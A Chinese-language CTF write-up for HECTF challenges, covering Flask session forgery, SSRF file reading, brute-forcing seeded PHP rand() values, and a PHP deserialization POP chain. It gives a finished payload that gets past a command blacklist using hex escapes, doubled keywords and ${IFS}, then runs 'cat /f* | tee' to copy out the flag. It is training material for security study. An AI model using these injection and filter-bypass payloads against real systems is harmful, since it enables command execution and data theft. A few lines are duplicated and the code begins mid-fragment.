考点:http协议+flask的session伪造+ssrf读取文件
首先根据题目要求就行伪造HTTP
这里不多说,比较基础 然后下面得到是个登入 页面,我们输入zxk1ing
得到 说什么要白马王子 ,一眼session伪造
看到ey开头感觉是jwt 输入看看
得到key 那就直接flask session伪造就行
看到ey开头感觉是jwt 输入看看
得到key 那就直接flask session伪造就行
然后我们就得到 flag在这个路径下 试了下伪协议读取无果,发现有个url读取
测试一下ssrf读取 成功获得flag
考点: 生成伪随机数 +PHP反序列化+命令执行的过滤绕过
首先进行抓包发现如下数据
根据 rand()? seed 看来就是根据seed这个种子来生成伪随机数来进行传参
我们写个脚本
然后将生产的数 做成一个字典进行爆破
得到 Unablet0guess.php 访问得到PHP反序列化
源码:
candy->str;
}
}
class unser{
public $obj;
public $auth;
public function __construct($obj,$name){
$this->obj = $obj;
$this->obj->auth = $name;
}
public function __destruct(){
$this->obj->Welcome();
}
}
class HECTF{
public $cmd;
public function __invoke(){
if($this->cmd){
$this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
}
exec($this->cmd);
}
}
class heeectf{
public $obj;
public $flag = "Welcome";
public $auth = "who are you?";
public function Welcome(){
if(unserialize($this->auth)=="zxk1ing"){
$star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
echo $star;
}
else
echo 'Welcome HECTF! Have fun!';
}
public function __get($get)
{
$func = $this->flag;
return $func();
}
}
new unser(new heeectf(),"user");
$data = $_POST['data'];
if(!preg_match('/flag/i',$data))
unserialize($data);
else
echo "想干嘛???"; Welcome HECTF! Have fun!
这里的触发过程不难 ,难的是heeectf里面的一些考点,先找出口函数在HECTF里面的exec(),然后 就通过反推形成一条POP链:
unser.__destruct()->heeectf.welcome().->GGbond.__toString>heeectf.__get($get)>HECTF.__invoke()
这个条件为真,那么 auth就要被赋值为序列化后的zxk1ing
所以为:
"s:7:\"zxk1ing\";"
然后,第二点,在传参当中,存在一个if(!preg_match('/flag/i',$data)),因此,这里需要16进制绕过即可,具体方法就是前面的s大写,之后将f变为\66即可,这样就可以识别16进制编码了
最后
这里的绕过就采用双写绕过 空格使用${IFS} ,因为exec输出无回显 所以我们使用tee命令进行传输flag进行解题
咱们可以通过如下来验证代码是否正确
输入进去进行,如果左上角转了3s则成功
所以最终的代码:
";
$a = new unser(new HECTF(),"s:7:\"zxk1ing\";");
$a -> obj = new heeectf();
$a -> obj -> obj = new GGbond();
$a -> obj -> obj -> candy = new heeectf();
$a -> obj -> obj -> candy -> flag = new HECTF();
echo serialize($a);
得到
O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;s:4:"flag";O:5:"HECTF":1:{s:3:"cmd";s:21:"ccatat /f* | tteeee B";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}s:4:"flag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}
产生的payload经过 16进制绕过 ,双写绕过 空格绕过 得到下面最终payload
data=O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;S:4:"\66lag";O:5:"HECTF":1:{s:3:"cmd";s:41:"ccatat${IFS}/f*${IFS}|${IFS}tteeee${IFS}a";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}S:4:"\66lag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}
然后传入访问a路径得到a文件 下载打开就为flag